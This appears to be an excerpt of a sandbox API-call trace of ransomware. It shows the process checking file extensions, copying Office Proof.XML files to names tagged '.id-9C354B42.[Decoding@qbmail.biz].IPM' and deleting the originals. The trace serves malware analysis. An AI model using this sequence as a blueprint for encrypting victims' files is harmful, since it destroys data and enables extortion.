lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.634] lstrlenW (lpString=".zip") returned 4 [0085.634] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.634] lstrlenW (lpString=".rar") returned 4 [0085.634] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.634] lstrlenW (lpString=".bz2") returned 4 [0085.634] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.634] lstrlenW (lpString=".7z") returned 3 [0085.634] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.634] lstrlenW (lpString=".dbf") returned 4 [0085.634] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.635] lstrlenW (lpString=".1cd") returned 4 [0085.635] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0085.635] lstrlenW (lpString=".jpg") returned 4 [0085.635] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.635] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.635] lstrlenW (lpString="Proof.XML") returned 9 [0085.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0085.636] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1347) returned 1 [0085.636] CloseHandle (hObject=0x1f8) returned 1 [0085.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0085.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0085.637] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.637] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0085.637] GetLastError () returned 0x0 [0085.637] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x543, lpOverlapped=0x0) returned 1 [0085.640] WriteFile (in: hFile=0x1d0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x550, lpOverlapped=0x0) returned 1 [0085.642] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0085.642] WriteFile (in: hFile=0x1d0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0085.642] SetEndOfFile (hFile=0x1d0) returned 1 [0085.643] CloseHandle (hObject=0x1d0) returned 1 [0085.646] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.646] SetEndOfFile (hFile=0x1f8) returned 1 [0085.648] CloseHandle (hObject=0x1f8) returned 1 [0085.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.648] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0085.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.649] lstrlenW (lpString=".doc") returned 4 [0085.649] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.649] lstrlenW (lpString=".docx") returned 5 [0085.649] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0085.649] lstrlenW (lpString=".pdf") returned 4 [0085.649] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.649] lstrlenW (lpString=".xls") returned 4 [0085.649] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.649] lstrlenW (lpString=".xlsx") returned 5 [0085.649] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0085.649] lstrlenW (lpString=".ppt") returned 4 [0085.649] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.649] lstrlenW (lpString=".zip") returned 4 [0085.649] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.649] lstrlenW (lpString=".rar") returned 4 [0085.650] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.650] lstrlenW (lpString=".bz2") returned 4 [0085.650] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.650] lstrlenW (lpString=".7z") returned 3 [0085.650] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.650] lstrlenW (lpString=".dbf") returned 4 [0085.650] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.650] lstrlenW (lpString=".1cd") returned 4 [0085.650] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.650] lstrlenW (lpString=".jpg") returned 4 [0085.650] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.650] lstrlenW (lpString=".doc") returned 4 [0085.650] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.650] lstrlenW (lpString=".docx") returned 5 [0085.651] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0085.651] lstrlenW (lpString=".pdf") returned 4 [0085.651] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.651] lstrlenW (lpString=".xls") returned 4 [0085.651] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.651] lstrlenW (lpString=".xlsx") returned 5 [0085.651] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0085.651] lstrlenW (lpString=".ppt") returned 4 [0085.651] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.651] lstrlenW (lpString=".zip") returned 4 [0085.651] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.651] lstrlenW (lpString=".rar") returned 4 [0085.651] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.651] lstrlenW (lpString=".bz2") returned 4 [0085.651] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.651] lstrlenW (lpString=".7z") returned 3 [0085.651] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.651] lstrlenW (lpString=".dbf") returned 4 [0085.651] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.651] lstrlenW (lpString=".1cd") returned 4 [0085.652] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0085.652] lstrlenW (lpString=".jpg") returned 4 [0085.652] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.652] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.652] lstrlenW (lpString="Proof.XML") returned 9 [0085.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0085.654] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1457) returned 1 [0085.654] CloseHandle (hObject=0x1f8) returned 1 [0085.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0085.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0085.654] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.655] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0085.655] GetLastError () returned 0x0 [0085.655] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0085.658] WriteFile (in: hFile=0x1d0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0085.661] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0085.661] WriteFile (in: hFile=0x1d0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0085.661] SetEndOfFile (hFile=0x1d0) returned 1 [0085.661] CloseHandle (hObject=0x1d0) returned 1 [0085.663] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.663] SetEndOfFile (hFile=0x1f8) returned 1 [0085.664] CloseHandle (hObject=0x1f8) returned 1 [0085.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.665] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0085.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.665] lstrlenW (lpString=".doc") returned 4 [0085.665] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.665] lstrlenW (lpString=".docx") returned 5 [0085.665] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0085.666] lstrlenW (lpString=".pdf") returned 4 [0085.666] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.666] lstrlenW (lpString=".xls") returned 4 [0085.666] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.666] lstrlenW (lpString=".xlsx") returned 5 [0085.666] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0085.666] lstrlenW (lpString=".ppt") returned 4 [0085.666] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.666] lstrlenW (lpString=".zip") returned 4 [0085.666] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.666] lstrlenW (lpString=".rar") returned 4 [0085.666] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.666] lstrlenW (lpString=".bz2") returned 4 [0085.666] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.666] lstrlenW (lpString=".7z") returned 3 [0085.666] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.666] lstrlenW (lpString=".dbf") returned 4 [0085.666] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.667] lstrlenW (lpString=".1cd") returned 4 [0085.667] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.667] lstrlenW (lpString=".jpg") returned 4 [0085.667] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.667] lstrlenW (lpString=".doc") returned 4 [0085.667] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.667] lstrlenW (lpString=".docx") returned 5 [0085.667] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0085.667] lstrlenW (lpString=".pdf") returned 4 [0085.667] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.667] lstrlenW (lpString=".xls") returned 4 [0085.667] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.668] lstrlenW (lpString=".xlsx") returned 5 [0085.668] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0085.668] lstrlenW (lpString=".ppt") returned 4 [0085.668] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.668] lstrlenW (lpString=".zip") returned 4 [0085.668] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.668] lstrlenW (lpString=".rar") returned 4 [0085.668] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.668] lstrlenW (lpString=".bz2") returned 4 [0085.668] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.668] lstrlenW (lpString=".7z") returned 3 [0085.668] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.668] lstrlenW (lpString=".dbf") returned 4 [0085.668] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.669] lstrlenW (lpString=".1cd") returned 4 [0085.669] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0085.669] lstrlenW (lpString=".jpg") returned 4 [0085.669] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.669] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.669] lstrlenW (lpString="Proof.XML") returned 9 [0085.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0085.670] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1458) returned 1 [0085.670] CloseHandle (hObject=0x1f8) returned 1 [0085.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0085.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0085.670] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.671] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0085.671] GetLastError () returned 0x0 [0085.671] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0085.675] WriteFile (in: hFile=0x1d0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0085.677] ReadFile (in: hFile=0x1f8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0085.677] WriteFile (in: hFile=0x1d0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0085.677] SetEndOfFile (hFile=0x1d0) returned 1 [0085.678] CloseHandle (hObject=0x1d0) returned 1 [0085.680] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.680] SetEndOfFile (hFile=0x1f8) returned 1 [0085.682] CloseHandle (hObject=0x1f8) returned 1 [0085.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.682] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0085.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.683] lstrlenW (lpString=".doc") returned 4 [0085.683] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.683] lstrlenW (lpString=".docx") returned 5 [0085.683] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0085.683] lstrlenW (lpString=".pdf") returned 4 [0085.683] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.683] lstrlenW (lpString=".xls") returned 4 [0085.683] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.683] lstrlenW (lpString=".xlsx") returned 5 [0085.683] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0085.684] lstrlenW (lpString=".ppt") returned 4 [0085.684] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.684] lstrlenW (lpString=".zip") returned 4 [0085.684] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.684] lstrlenW (lpString=".rar") returned 4 [0085.684] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.684] lstrlenW (lpString=".bz2") returned 4 [0085.684] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.684] lstrlenW (lpString=".7z") returned 3 [0085.684] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.684] lstrlenW (lpString=".dbf") returned 4 [0085.684] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.684] lstrlenW (lpString=".1cd") returned 4 [0085.684] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.685] lstrlenW (lpString=".jpg") returned 4 [0085.685] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.685] lstrlenW 